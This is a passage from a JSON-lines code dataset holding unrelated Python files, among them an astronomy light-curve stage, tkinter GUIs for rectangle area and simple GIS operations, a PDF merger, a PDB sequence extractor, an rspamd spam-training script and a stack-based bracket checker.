os.path.exists(meta.lcdir):\n os.makedirs(meta.lcdir)\n if not os.path.exists(meta.lcdir+\"/figs\"):\n os.makedirs(meta.lcdir+\"/figs\")\n\n # Copy existing S4 log file\n meta.s4_logname = './' + meta.lcdir + '/S4_' + meta.eventlabel + \".log\"\n #shutil.copyfile(ev.logname, ev.s4_logname, follow_symlinks=True)\n log = logedit.Logedit(meta.s4_logname, read=meta.logname)\n log.writelog(\"\\nStarting Stage 4: Generate Light Curves\\n\")\n\n log.writelog(\"Loading S3 save file\")\n table = astropytable.readtable(meta)\n\n # Reverse the reshaping which has been done when saving the astropy table\n optspec, wave_1d, bjdtdb = np.reshape(table['optspec'].data, (-1, meta.subnx)), \\\n table['wave_1d'].data[0:meta.subnx], table['bjdtdb'].data[::meta.subnx]\n\n #Replace NaNs with zero\n optspec[np.where(np.isnan(optspec))] = 0\n meta.n_int, meta.subnx = optspec.shape\n\n # Determine wavelength bins\n binsize = (meta.wave_max - meta.wave_min)/meta.nspecchan\n meta.wave_low = np.round([i for i in np.linspace(meta.wave_min, meta.wave_max-binsize, meta.nspecchan)],3)\n meta.wave_hi = np.round([i for i in np.linspace(meta.wave_min+binsize, meta.wave_max, meta.nspecchan)],3)\n\n # Apply 1D drift/jitter correction\n if meta.correctDrift == True:\n #Calculate drift over all frames and non-destructive reads\n log.writelog('Applying drift/jitter correction')\n # Compute drift/jitter\n meta = drift.spec1D(optspec, meta, log)\n # Correct for drift/jitter\n for n in range(meta.n_int):\n spline = spi.UnivariateSpline(np.arange(meta.subnx), optspec[n], k=3, s=0)\n optspec[n] = spline(np.arange(meta.subnx)+meta.drift1d[n])\n # Plot Drift\n if meta.isplots_S4 >= 1:\n plots_s4.drift1d(meta)\n\n\n log.writelog(\"Generating light curves\")\n meta.lcdata = np.zeros((meta.nspecchan, meta.n_int))\n meta.lcerr = np.zeros((meta.nspecchan, meta.n_int))\n # ev.eventname2 = ev.eventname\n for i in range(meta.nspecchan):\n log.writelog(f\" Bandpass {i} = %.3f - %.3f\" % (meta.wave_low[i], meta.wave_hi[i]))\n # Compute valid indeces within wavelength range\n index = np.where((wave_1d >= meta.wave_low[i])*(wave_1d <= meta.wave_hi[i]))[0]\n # Sum flux for each spectroscopic channel\n meta.lcdata[i] = np.sum(optspec[:,index],axis=1)\n # Add uncertainties in quadrature\n meta.lcerr[i] = np.sqrt(np.sum(optspec[:,index]**2,axis=1))\n\n # Plot each spectroscopic light curve\n if meta.isplots_S4 >= 3:\n plots_s4.binned_lightcurve(meta, bjdtdb, i)\n\n # Save results\n log.writelog('Saving results')\n me.saveevent(meta, meta.lcdir + '/S4_' + meta.eventlabel + \"_Meta_Save\", save=[])\n\n # if (isplots >= 1) and (correctDrift == True):\n # # Plot Drift\n # # Plots corrected 2D light curves\n\n # Copy ecf\n log.writelog('Copying S4 control file')\n shutil.copy(ecffile, meta.lcdir)\n\n log.closelog()\n return meta\n","repo_name":"gianninapr/Eureka","sub_path":"eureka/S4_generate_lightcurves/s4_genLC.py","file_name":"s4_genLC.py","file_ext":"py","file_size_in_byte":4755,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"69"} +{"seq_id":"27617720692","text":"#!/usr/bin/python3\nimport sys\n\n\ndef safe_function(fct, *args):\n try:\n result = fct(*args)\n except ZeroDivisionError as err:\n result = None\n sys.stderr.write(\"Exception: \" + str(err) + \"\\n\")\n except IndexError as err:\n result = None\n sys.stderr.write(\"Exception: \" + str(err) + \"\\n\")\n return result\n","repo_name":"AlaaAymanAbdElRaheem/alx-higher_level_programming","sub_path":"0x05-python-exceptions/101-safe_function.py","file_name":"101-safe_function.py","file_ext":"py","file_size_in_byte":345,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"37805616924","text":"import tkinter.messagebox\nfrom tkinter import *\n\n\nclass Rectangle:\n \"\"\"\n A class representing details for a rectangle object.\n \"\"\"\n def __init__(self, window):\n \"\"\"\n Constructor that creates frames, labels, error box, entry for length and weidth of the rectangle\n and a button to calculate area of a rectangle for rectangle object.\n :param window: takes the window that is made with tkinter.\n \"\"\"\n self.window = window\n self.frame_rectangle_text = Frame(self.window)\n self.label_rectangle_text = Label(self.frame_rectangle_text, text='Area of Rectangle',\n font=('Arial', 13, 'bold'))\n self.label_rectangle_text.pack()\n self.frame_rectangle_text.pack()\n\n self.frame_rectangle_length = Frame(self.window)\n self.label_rectangle_length = Label(self.frame_rectangle_length, text='Enter the length')\n self.entry_rectangle_length = Entry(self.frame_rectangle_length)\n self.label_rectangle_length.pack(padx=3, side='left')\n self.entry_rectangle_length.pack(padx=5, side='left')\n self.frame_rectangle_length.pack(anchor='w', pady=10)\n\n self.frame_rectangle_width = Frame(self.window)\n self.label_rectangle_width = Label(self.frame_rectangle_width, text='Enter the width')\n self.entry_rectangle_width = Entry(self.frame_rectangle_width)\n self.label_rectangle_width.pack(padx=5, side='left')\n self.entry_rectangle_width.pack(padx=5, side='left')\n self.frame_rectangle_width.pack(anchor='w', pady=10)\n\n self.frame_button = Frame(self.window)\n self.button_calculate = Button(self.frame_button, text='Calculate', command=self.rectangle_area)\n self.button_calculate.pack()\n self.frame_button.pack()\n\n self.frame_rectangle_area = Frame(self.window)\n self.label_rectangle_area = Label(self.frame_rectangle_area)\n self.label_rectangle_area.pack(padx=5, side='left')\n self.frame_rectangle_area.pack(anchor='w', pady=10)\n\n self.frame_error = Frame(self.window)\n self.label_error = Label(self.frame_error, text='')\n self.label_error.pack(padx=5, side='left')\n self.frame_error.pack(anchor='w', pady=10)\n\n def rectangle_area(self):\n \"\"\"\n Method for calculating area of a rectangle and handling exceptions along with\n displaying the result.\n \"\"\"\n lenght = self.entry_rectangle_length.get()\n width = self.entry_rectangle_width.get()\n try:\n length = float(lenght)\n width = float(width)\n rectangle = width * length\n rectangle_area = f'Area of Rectangle is: {rectangle:.2f}'\n self.entry_rectangle_length.delete(0, END)\n self.entry_rectangle_width.delete(0, END)\n\n if length <= 0 or width <= 0:\n tkinter.messagebox.showwarning('Not Positive', 'Enter value greater than 0.')\n self.entry_rectangle_length.delete(0, END)\n self.entry_rectangle_width.delete(0, END)\n else:\n self.label_rectangle_area.config(text=rectangle_area)\n\n except ValueError:\n tkinter.messagebox.showwarning('Value Error', 'Enter numeric input only.')\n self.entry_rectangle_length.delete(0, END)\n self.entry_rectangle_width.delete(0, END)\n","repo_name":"FaraidoonGhafari/Final-Project","sub_path":"rectangle_area.py","file_name":"rectangle_area.py","file_ext":"py","file_size_in_byte":3410,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"13330014392","text":"#更改python的当前工作路径\r\nimport os\r\n#显示当前脚本所在目录\r\nprint(os.getcwd())\r\n#将脚本所在目录设为工作目录\r\nos.chdir(os.getcwd())\r\n\r\nimport sys\r\nfrom PyPDF2 import PdfFileWriter, PdfFileReader\r\nfilenames=os.listdir()\r\nprint(\"---------------------------------------------\")\r\noutput = PdfFileWriter()\r\n\r\noutputPages = 0\r\n\r\n#主程序,合成目录内所有PDF文件\r\nfor filename in filenames:\r\n\t#跳过此脚本文件\r\n\tif(filename[-3:]==\".py\"):\r\n\t\tcontinue\r\n\tprint(filename)\r\n\ttry:\r\n\t\tinput = PdfFileReader(open(filename,\"rb\"))\r\n\texcept:\r\n\t\tprint(filename+'错误')\r\n\tpageCount = input.getNumPages()\r\n\toutputPages += pageCount\r\n\tfor iPage in range(0, pageCount):\r\n\t\toutput.addPage(input.getPage(iPage))\r\n\r\n\r\n#将合成文件存在桌面\r\noutput.write(open(\"C:\\\\Users\\\\cross\\\\Desktop\\\\操作系统习题汇总.pdf\",\"wb\"))\r\n","repo_name":"Cross-yan/Merge-PDF","sub_path":"最终合并PDF.py","file_name":"最终合并PDF.py","file_ext":"py","file_size_in_byte":857,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"1472577783","text":"## extract protein/DNA/RNA sequences from PDB\n\nimport os,sys\n\nTRACE = [\"CA\",\"O5\\'\"]\nPRIMARY_ALT = [\" \",\"A\"]\nMAX_LENGTH = 99999\n\nkey3to1 = {\n 'CYS': 'C', 'ASP': 'D', 'SER': 'S', 'GLN': 'Q', 'LYS': 'K',\n 'ILE': 'I', 'PRO': 'P', 'THR': 'T', 'PHE': 'F', 'ASN': 'N', \n 'GLY': 'G', 'HIS': 'H', 'LEU': 'L', 'ARG': 'R', 'TRP': 'W', \n 'ALA': 'A', 'VAL': 'V', 'GLU': 'E', 'TYR': 'Y', 'MET': 'M',\n 'MSE': 'M', \n }\n\ndef pdb2seq(inp):\n if not os.path.exists(inp):\n print(\"pdb file: %s not exist\"%inp)\n sys.exit(0)\n\n sequence = {}\n maxresid = {}\n lines = open(inp,\"r\")\n for line in lines:\n if line.startswith(\"ATOM \"):\n atom = line[12:16].strip()\n if atom in TRACE:\n resid = int(line[22:26])\n resnm = line[17:20].strip()\n alt_r = line[16]\n chain = line[21]\n if alt_r in PRIMARY_ALT:\n if chain not in sequence:\n sequence[chain] = [\"-\" for i in range(MAX_LENGTH)]\n sequence[chain][resid-1] = key3to1[resnm]\n maxresid[chain] = resid\n\n for chain in sequence:\n sequence[chain] = \"\".join(sequence[chain][:maxresid[chain]])\n\n return sequence\n\nif __name__ == \"__main__\":\n inp = sys.argv[1]\n sequence = pdb2seq(inp)\n print(sequence)\n","repo_name":"jhpanda/DrosophilaSexPeptide","sub_path":"pdb2seq.py","file_name":"pdb2seq.py","file_ext":"py","file_size_in_byte":1373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"34885691738","text":"# coding=utf-8\nimport numpy as np\nimport pickle\nfrom collections import OrderedDict\n\nimport torch\nfrom torch.autograd import Variable\n\nfrom asdl.transition_system import ApplyRuleAction, ReduceAction\n\nclass Dataset(object):\n def __init__(self, examples):\n self.examples = examples\n\n @property\n def all_targets(self):\n return [e.tgt_code for e in self.examples]\n\n @staticmethod\n def from_bin_file(file_path):\n examples = pickle.load(open(file_path, 'rb'))\n return Dataset(examples)\n\n def batch_iter(self, batch_size, shuffle=False):\n index_arr = np.arange(len(self.examples))\n if shuffle:\n np.random.shuffle(index_arr)\n\n batch_num = int(np.ceil(len(self.examples) / float(batch_size)))\n for batch_id in range(batch_num):\n batch_ids = index_arr[batch_size * batch_id: batch_size * (batch_id + 1)]\n batch_examples = [self.examples[i] for i in batch_ids]\n batch_examples.sort(key=lambda e: -len(e.tgt_actions))\n\n yield batch_examples\n\n def __len__(self):\n return len(self.examples)\n\n def __iter__(self):\n return iter(self.examples)\n\n\nclass Example(object):\n def __init__(self, tgt_actions, idx=0, meta=None):\n self.tgt_actions = tgt_actions\n\n self.idx = idx\n self.meta = meta\n\n\nclass Batch(object):\n def __init__(self, examples, grammar, vocab, cuda=False):\n self.examples = examples\n self.max_action_num = max(len(e.tgt_actions) for e in self.examples)\n\n self.grammar = grammar\n self.vocab = vocab\n self.cuda = cuda\n\n self.init_index_tensors()\n\n def __len__(self):\n return len(self.examples)\n\n def get_frontier_field_idx(self, t):\n ids = []\n for e in self.examples:\n if t < len(e.tgt_actions):\n ids.append(self.grammar.field2id[e.tgt_actions[t].frontier_field])\n # assert self.grammar.id2field[ids[-1]] == e.tgt_actions[t].frontier_field\n else:\n ids.append(0)\n\n return Variable(torch.cuda.LongTensor(ids)) if self.cuda else Variable(torch.LongTensor(ids))\n\n def get_frontier_prod_idx(self, t):\n ids = []\n for e in self.examples:\n if t < len(e.tgt_actions):\n ids.append(self.grammar.prod2id[e.tgt_actions[t].frontier_prod])\n # assert self.grammar.id2prod[ids[-1]] == e.tgt_actions[t].frontier_prod\n else:\n ids.append(0)\n\n return Variable(torch.cuda.LongTensor(ids)) if self.cuda else Variable(torch.LongTensor(ids))\n\n def get_frontier_field_type_idx(self, t):\n ids = []\n for e in self.examples:\n if t < len(e.tgt_actions):\n ids.append(self.grammar.type2id[e.tgt_actions[t].frontier_field.type])\n # assert self.grammar.id2type[ids[-1]] == e.tgt_actions[t].frontier_field.type\n else:\n ids.append(0)\n\n return Variable(torch.cuda.LongTensor(ids)) if self.cuda else Variable(torch.LongTensor(ids))\n\n def init_index_tensors(self):\n self.apply_rule_idx_matrix = []\n self.apply_rule_mask = []\n self.primitive_idx_matrix = []\n self.gen_token_mask = []\n\n for t in range(self.max_action_num):\n app_rule_idx_row = []\n app_rule_mask_row = []\n token_row = []\n gen_token_mask_row = []\n\n for e_id, e in enumerate(self.examples):\n app_rule_idx = app_rule_mask = token_idx = gen_token_mask = 0\n if t < len(e.tgt_actions):\n action = e.tgt_actions[t].action\n action_info = e.tgt_actions[t]\n\n if isinstance(action, ApplyRuleAction):\n app_rule_idx = self.grammar.prod2id[action.production]\n # assert self.grammar.id2prod[app_rule_idx] == action.production\n app_rule_mask = 1\n elif isinstance(action, ReduceAction):\n app_rule_idx = len(self.grammar)\n app_rule_mask = 1\n else:\n token = str(action.token)\n token_idx = self.vocab[action.token]\n\n if token_idx != self.vocab.unk_id:\n # if the token is not copied, we can only generate this token from the vocabulary,\n # even if it is a <unk>.\n # otherwise, we can still generate it from the vocabulary\n gen_token_mask = 1\n\n app_rule_idx_row.append(app_rule_idx)\n app_rule_mask_row.append(app_rule_mask)\n\n token_row.append(token_idx)\n gen_token_mask_row.append(gen_token_mask)\n\n self.apply_rule_idx_matrix.append(app_rule_idx_row)\n self.apply_rule_mask.append(app_rule_mask_row)\n\n self.primitive_idx_matrix.append(token_row)\n self.gen_token_mask.append(gen_token_mask_row)\n\n T = torch.cuda if self.cuda else torch\n self.apply_rule_idx_matrix = Variable(T.LongTensor(self.apply_rule_idx_matrix))\n self.apply_rule_mask = Variable(T.FloatTensor(self.apply_rule_mask))\n self.primitive_idx_matrix = Variable(T.LongTensor(self.primitive_idx_matrix))\n self.gen_token_mask = Variable(T.FloatTensor(self.gen_token_mask))","repo_name":"duduuu/ast_lstm","sub_path":"components/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":5478,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"30149314592","text":"\"\"\"\nThis is a dummy to try and get a gis gui up and running\n\"\"\"\nfrom GUI_1 import MyShape\nimport json\nfrom collections import defaultdict\nfrom tkinter import *\nfrom tkinter import ttk\nfrom descartes.patch import PolygonPatch\nimport shapely\nimport shapely.geometry as geometry\nfrom shapely.ops import cascaded_union\nimport matplotlib.pyplot as plt\nimport fiona\nfrom fiona.crs import from_epsg\nimport os\n\n\"\"\"\nthanks to this url for plotting -> https://gist.github.com/urschrei/6436526\n\"\"\"\n\n\ndef main():\n with open(\"cso_counties.txt\", 'r') as f1:\n cty_str = f1.read()\n\n with open(\"geonames_pop.txt\",'r') as f2:\n pop_str = f2.read()\n\n\n cty_polygons = json.loads(cty_str)\n places_pts = json.loads(pop_str)\n stack = []\n stack.append([cty_polygons, 'countyname', 'counties'])\n stack.append([places_pts, 'asciiname', 'towns'])\n gis_data = defaultdict()\n if stack:\n for obj in stack:\n gis_data[obj[2]] = MyShape(obj[0], obj[1])\n root = Tk()\n MicksGis(root, gis_data)\n root.mainloop()\n\n\nclass MicksGis:\n \"\"\"\n This class will construct the gis gui.\n We pass in the collection of MyShape objects.\n \"\"\"\n def __init__(self, master, datasets):\n with open(\"provinces.txt\",'r') as f2:\n prov_str = f2.read()\n prov_polygons = json.loads(prov_str)\n provs = []\n for f in prov_polygons['features']:\n provs.append(geometry.asShape(f['geometry']))\n self.bg = cascaded_union(provs)\n self.master = master\n self.datasets = datasets\n self.current_dataset = \"\"\n self.op_counter = 0\n self.op_stack = {}\n self.operation = 'N' # this holds a value to tell which operation is currently in progress\n # M = Merge, I = Intermediate, G = Geocode, N = None\n self.master.title(\"SIMPLE GIS\")\n\n # Set Button style\n s = ttk.Style()\n s.configure('Wait.TButton',foreground = 'red', state = 'disabled')\n s.configure('Go.TButton', foreground = 'green', state = 'active')\n\n # Declaring variables\n self.cb_datasets_source = []\n self.cb_datasets_source = [d for d in self.datasets]\n self.cb_op_data_source = []\n self.lb_features_source = StringVar()\n self.lb_feature_data_source = StringVar()\n self.dialog_text = StringVar()\n self.dialog_text.set('Messages will appear here.')\n\n # widget declarations\n self.frm_mainframe = ttk.Frame(self.master,\n )\n self.lbl_message = ttk.Label(self.master,\n font = ('Helvetica', 16),\n foreground = 'blue',\n textvariable = self.dialog_text)\n\n # Set up frames\n self.frm_data_pane_top = ttk.LabelFrame(self.frm_mainframe,\n text = 'Dataset Explorer',\n width = 40)\n self.frm_data_pane_middle = ttk.LabelFrame(self.frm_mainframe,\n text = 'Feature Explorer',\n width = 40)\n self.frm_data_pane_bottom = ttk.LabelFrame(self.frm_mainframe,\n text = 'Feature Data',\n width = 40)\n self.frm_functions = ttk.LabelFrame(self.frm_mainframe,\n text = 'Functions')\n\n #Set up widgets\n # Data selection and viewing\n self.lbl_ip_data = ttk.Label(self.frm_data_pane_top,\n text = 'Input Data:')\n self.cb_datasets = ttk.Combobox(self.frm_data_pane_top,\n height = 5,\n values = self.cb_datasets_source,\n width = 40)\n self.lbl_op_data = ttk.Label(self.frm_data_pane_top,\n text = 'Output Data:')\n self.cb_op_data = ttk.Combobox(self.frm_data_pane_top,\n height = 5,\n values = self.cb_op_data_source,\n width = 40,\n state = 'disabled')\n self.lb_features = Listbox(self.frm_data_pane_middle,\n height = 10,\n listvariable = self.lb_features_source,\n width = 40,\n state = 'disabled')\n self.lb_feature_data = Listbox(self.frm_data_pane_bottom,\n height = 10,\n listvariable = self.lb_feature_data_source,\n width = 40)\n # Functions\n self.btn_feature_display = ttk.Button(self.frm_data_pane_middle,\n text = 'DISPLAY SELECTED',\n style = 'Wait.TButton',\n command = lambda: self.display(feature_name =\n self.lb_features.get(\n self.lb_features.curselection())))\n self.btn_confirm = ttk.Button(self.frm_data_pane_middle,\n text = 'CONFIRM SELECTED',\n style = 'Wait.TButton',\n state = 'disabled',\n command = lambda: self.confirm(self.lb_features.curselection()))\n self.btn_merge_polygons = ttk.Button(self.frm_functions,\n width = 20,\n cursor = 'hand1',\n text = 'MERGE',\n style = 'Wait.TButton',\n command = self.merge_polys)\n self.btn_points_within_poly = ttk.Button(self.frm_functions,\n width = 20,\n cursor = 'hand1',\n text = 'Ps in POLY',\n style = 'Wait.TButton',\n command = self.points_within_poly)\n self.btn_centroid = ttk.Button(self.frm_functions,\n width = 20,\n cursor = 'hand1',\n text = 'CENTROID',\n style = 'Wait.TButton',\n command = self.centroid)\n self.btn_make_shp = ttk.Button(self.frm_functions,\n width = 20,\n cursor = 'hand1',\n text = 'MAKE .SHP',\n style = 'Wait.TButton',\n command = self.make_shp)\n self.geocode = ttk.Button(self.frm_functions,\n width = 20,\n cursor = 'hand1',\n text = 'GEOCODE',\n style = 'Wait.TButton',\n command = self.geocode)\n\n\n\n\n # widget placement\n self.lbl_message.grid(row = 0, column = 0)\n\n self.frm_mainframe.grid(row = 1, column = 0)\n self.frm_data_pane_top.grid(row = 0, column = 0, sticky = 'w')\n self.lbl_ip_data.grid(row = 0, column = 0, sticky = 'new')\n self.cb_datasets.grid(row = 0, column = 1, sticky = 'ew')\n self.lbl_op_data.grid(row = 0, column = 2, sticky = 'nw')\n self.cb_op_data.grid(row = 0, column = 3, sticky = 'new')\n\n self.frm_data_pane_middle.grid(row = 1, column = 0, sticky = 'ew')\n self.lb_features.grid(row = 0, column = 0, sticky = 'ew')\n self.btn_feature_display.grid(row = 1, column = 0, sticky = 'ew')\n self.btn_confirm.grid(row = 2, column = 0, sticky = 'ew')\n\n self.frm_data_pane_bottom.grid(row = 2, column = 0, sticky = 'ew')\n self.lb_feature_data.grid(row = 0, column = 0, sticky = 'ew')\n\n self.frm_functions.grid(row = 3, column = 0,\n columnspan = 1)\n self.btn_merge_polygons.grid(row = 0, column = 0)\n self.btn_points_within_poly.grid(row = 0, column = 1)\n self.btn_centroid.grid(row = 0, column = 2)\n self.btn_make_shp.grid(row = 0, column = 3)\n self.geocode.grid(row = 0, column = 4)\n\n # event handling\n _ = self.cb_datasets.bind(\"<<ComboboxSelected>>\", self.dataset_cb_newselection)\n _ = self.lb_features.bind(\"<<ListboxSelect>>\", self.feature_lb_newselection)\n _ = self.frm_functions.bind(\"<<Button1>>\", self.check_op_stack)\n\n\n # functions\n def check_op_stack(self):\n if self.op_stack:\n self.cb_op_data.configure(state = 'normal')\n\n def display(self, feature_name = None, *args):\n # allows function to be used by multiple processes, first option (when a feature_name is passed)\n # is for viewing data, second option is for viewing created geometries\n if feature_name:\n geom = self.datasets[self.current_dataset].features[feature_name][0]\n if geom.geom_type != ('Polygon' or 'MultiPolygon'):\n self.dialog_text.set('This geometry is invalid. Please use a different dataset')\n pass\n geom = cascaded_union(geom) #to dissolve multipolygons\n geom_bdry = geom.boundary\n minx, miny, maxx, maxy = self.bg.bounds\n w, h = maxx - minx, maxy - miny\n fig = plt.figure(1, figsize = (5, 5), dpi = 180, frameon = False)\n ax = fig.add_subplot(111)\n ax.set_xlim(minx,maxx)\n ax.set_ylim(miny,maxy)\n for poly in self.bg:\n bg_patch = PolygonPatch(poly, fc = 'lightsage', ec = 'k', alpha = 1)\n ax.add_patch(bg_patch)\n\n if geom.geom_type == 'MultiPolygon':\n for poly in geom:\n patch = PolygonPatch(poly, fc= 'teal', ec='navy', alpha = 0.5)\n ax.add_patch(patch)\n else:\n patch = PolygonPatch(geom, fc='teal', ec='navy', alpha = 0.5)\n ax.add_patch(patch)\n plt.show()\n else:\n geom = args[0]\n name = args[1]\n geom = cascaded_union(geom) #to dissolve multipolygons\n minx, miny, maxx, maxy = self.bg.bounds\n w, h = maxx - minx, maxy - miny\n fig = plt.figure(1, figsize = (5, 5), dpi = 180, frameon = False)\n ax = fig.add_subplot(111)\n ax.set_xlim(minx,maxx)\n ax.set_ylim(miny,maxy)\n for poly in self.bg:\n bg_patch = PolygonPatch(poly, fc = 'lightsage', ec = 'k', alpha = 1)\n ax.add_patch(bg_patch)\n if geom.geom_type == 'MultiPolygon':\n for poly in geom:\n patch = PolygonPatch(poly, fc= 'teal', ec='navy', alpha = 0.5)\n ax.add_patch(patch)\n else:\n patch = PolygonPatch(geom, fc='teal', ec='navy', alpha = 0.5)\n ax.add_patch(patch)\n plt.title(name)\n plt.show()\n\n def dataset_cb_newselection(self, event):\n self.lb_feature_data_source.set([]) # wipe the feature data source\n self.current_dataset = event.widget.get()\n self.dialog_text.set(\"You have chosen - \" + self.current_dataset.capitalize())\n self.update_feature_explorer(self.current_dataset)\n\n def update_feature_explorer(self, dataset_name):\n item_list = list(self.datasets[dataset_name].features.keys())\n self.lb_features_source.set(item_list)\n self.lb_features.configure(state = 'normal')\n\n def feature_lb_newselection(self, event):\n owner = event.widget\n if self.operation != 'N':\n pass\n else:\n self.value_of_combo = owner.get(owner.curselection())\n self.dialog_text.set(\"You have chosen - \" + self.value_of_combo.capitalize())\n self.update_feature_data_explorer(self.value_of_combo)\n\n def update_feature_data_explorer(self, feature_name):\n properties = self.datasets[self.current_dataset].features[feature_name][1]\n op_list = [\"{} : {}\".format(k,v) for k, v in properties.items()]\n self.lb_feature_data_source.set(op_list)\n self.lb_feature_data.configure(state = 'normal')\n\n def confirm(self, data_lines): # this acts as a confirm for selection of data, and returns to\n # origin function with the data selected\n if self.operation == 'M':\n items = [self.lb_features.get(i) for i in data_lines]\n data = [self.datasets[self.current_dataset].features[feature_name][0]\n for feature_name in items]\n self.merge_polys(data, items)\n #elif\n\n def merge_polys(self, data = None, *args):\n # allows the feature listbox to become enabled for multiple selections\n # and waits for items to be selected and confirmed\n if data == None:\n self.lb_feature_data_source.set([])\n self.btn_feature_display.configure(state = 'disabled')\n self.lb_features.configure(selectmode = 'multiple')\n self.operation = 'M'\n self.btn_confirm.configure(state = 'normal')\n self.dialog_text.set('Please confirm when you have selected your items')\n pass\n else: # this is the return from the confirm button\n merged_geom = cascaded_union(data)\n name = 'merged' + str(self.op_counter)\n self.display(None, merged_geom, name)\n self.make_merged_shp(merged_geom, name = args[0]) # this makes a shapefile\n self.btn_confirm.configure(state = 'disabled')\n self.lb_features.configure(selectmode = 'single')\n self.btn_feature_display.configure(state = 'normal')\n self.btn_confirm.configure(state = 'disabled')\n self.points_within_poly(merged_geom)\n self.centroid(merged_geom)\n\n\n def points_within_poly(self, poly):\n if 'dit:geonames_pop_5000' in self.datasets.keys():\n self.current_dataset = 'dit:geonames_pop_500'\n elif 'dit:geonames_populated' in self.datasets.keys():\n self.current_dataset = 'towns'\n else:\n self.dialog_text.set('Please return to last GUI and pick a point dataset:')\n pass\n points = self.datasets[self.current_dataset].features\n print(len(points))\n contained_points = {}\n for k,v in points.items():\n if poly.contains(v[0]):\n contained_points[k] = v\n print(len(contained_points))\n\n def centroid(self, geom):\n pass\n\n def make_shp(self):\n pass\n\n\n def make_merged_shp(self, data, name, crs = None):\n self.op_counter += 1\n geom_type = data.geom_type\n a_schema = {'geometry': geom_type,\n 'properties': {'name':'str'}\n }\n filename = 'merged' + str(self.op_counter) + \".shp\"\n path = os.path.join('op_data',filename)\n obj_name = 'merged' + str(self.op_counter)\n if not crs:\n my_crs = self.datasets[self.current_dataset].crs\n crs = from_epsg(my_crs['properties']['code'])\n with fiona.open(path,\n 'w',\n driver= 'ESRI Shapefile',\n crs= crs,\n schema= a_schema) as c:\n c.write({\n 'properties':{'name':obj_name},\n 'geometry':geometry.mapping(data)})\n\n\n\n def geocode(self):\n pass\n\n\nif __name__ == main():\n main()\n\n\n\n\n\n\n\n","repo_name":"mick-odonnell/geotinkering","sub_path":"dummy_gis.py","file_name":"dummy_gis.py","file_ext":"py","file_size_in_byte":17528,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"19919847148","text":"#!/usr/bin/env python3\n\nfrom config import min_time, max_time, start_path, included_domains\nfrom logger import rspamd_trainer_logger as logger\nfrom pathlib import Path\nimport subprocess\nimport time\n\n\nraw_counter = 0\ncounter = 0\n\nt1 = time.time()\nfor dom in included_domains:\n for item in Path(start_path).rglob(dom + '/*/Maildir/.Junk/cur/*'):\n raw_counter += 1\n item_mtime = item.stat().st_mtime\n if not (item_mtime < min_time and item_mtime > max_time):\n continue\n if not item.is_file():\n continue\n counter += 1\n with subprocess.Popen(\n [\"rspamc\", \"learn_spam\", str(item.absolute())],\n stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT) as p:\n try:\n outs, errs = p.communicate(timeout=15)\n except subprocess.TimeoutExpired:\n p.kill()\n outs, errs = p.communicate()\n logger.debug(outs)\n\nlogger.info(\n \"Learned spam from junk folders with %s out of %s files in %s minutes.\" % (\n counter, raw_counter, int((time.time()-t1)) / 60))\n","repo_name":"MrTango/rspamd_trainer","sub_path":"spam_trainer.py","file_name":"spam_trainer.py","file_ext":"py","file_size_in_byte":1129,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"6002265971","text":"nums1 = [1,3,5,2,4]\nnums2 = [6,5,4,3,2,1,7]\nresult = []\nfor i in range(len(nums1)):\n result.append(-1)\nd1 = {}\nfor k, v in enumerate(nums1):\n d1[v] = k\nstack = []\n\nfor i in nums2:\n while stack and stack[-1] < i:\n item = stack.pop()\n if item in d1:\n result[d1[item]] = i\n stack.append(i)\n\nprint(result)\n\n","repo_name":"strange-uncle/practise_algorithm","sub_path":"Python/Leetcode/leet_code_496.stack.py","file_name":"leet_code_496.stack.py","file_ext":"py","file_size_in_byte":340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"6777405729","text":"from collections import deque\n\n\nclass Stack:\n def __init__(self):\n my_stack = deque()\n self.my_stack = my_stack\n\n def __str__(self):\n \"\"\"\n Перегружает метод __str__ для более удобного отображения 'принта'\n \"\"\"\n values = [str(x) for x in self.my_stack]\n return ' '.join(values)\n\n def isEmpty(self):\n \"\"\"\n проверка стека на пустоту.\n Метод возвращает True или False.\n \"\"\"\n if len(self.my_stack) == 0:\n return True\n else:\n return False\n\n def push(self, element):\n \"\"\"\n добавляет новый элемент на вершину стека.\n Метод ничего не возвращает.\n \"\"\"\n self.element = element\n self.my_stack.append(element)\n\n def pop(self):\n \"\"\"\n Метод удаляющий верхний элимент. Стек изменяется.\n Метод возвращает верхний элимент стека\n \"\"\"\n if len(self.my_stack) == 0:\n return None\n element = self.my_stack[-1]\n self.my_stack.pop()\n return element\n\n def peek(self):\n \"\"\"\n возвращает верхний элемент стека, но не удаляет его.\n Стек не меняется.\n \"\"\"\n if len(self.my_stack) == 0:\n return None\n else:\n return self.my_stack[-1]\n\n def size(self):\n \"\"\"\n возвращает количество элементов в стеке.\n \"\"\"\n result = len(self.my_stack)\n return result\n\n\ndef balanced_str(str: str):\n stack = Stack()\n balance = True\n index = 0\n while index < len(str) and balance:\n symbol = str[index]\n if symbol in \"([{\":\n stack.push(symbol)\n else:\n if stack.isEmpty():\n balance = False\n else:\n top = stack.pop()\n if not match(top, symbol):\n balance = False\n index += 1\n if balance and stack.isEmpty():\n return \"Сбалансировано\"\n else:\n return \"Несбалансировано\"\n\n\ndef match(open_bracket, close_bracket):\n openers = '([{'\n closers = ')]}'\n return openers.index(open_bracket) == closers.index(close_bracket)\n\n\n# Пример сбалансированных последовательностей скобок:\nstring1 = '(((([{}]))))'\nstring2 = '[([])((([[[]]])))]{()}'\nstring3 = '{{[()]}}'\n\n# Несбалансированные последовательности:\nstring4 = '}{}'\nstring5 = '{{[(])]}}'\nstring6 = 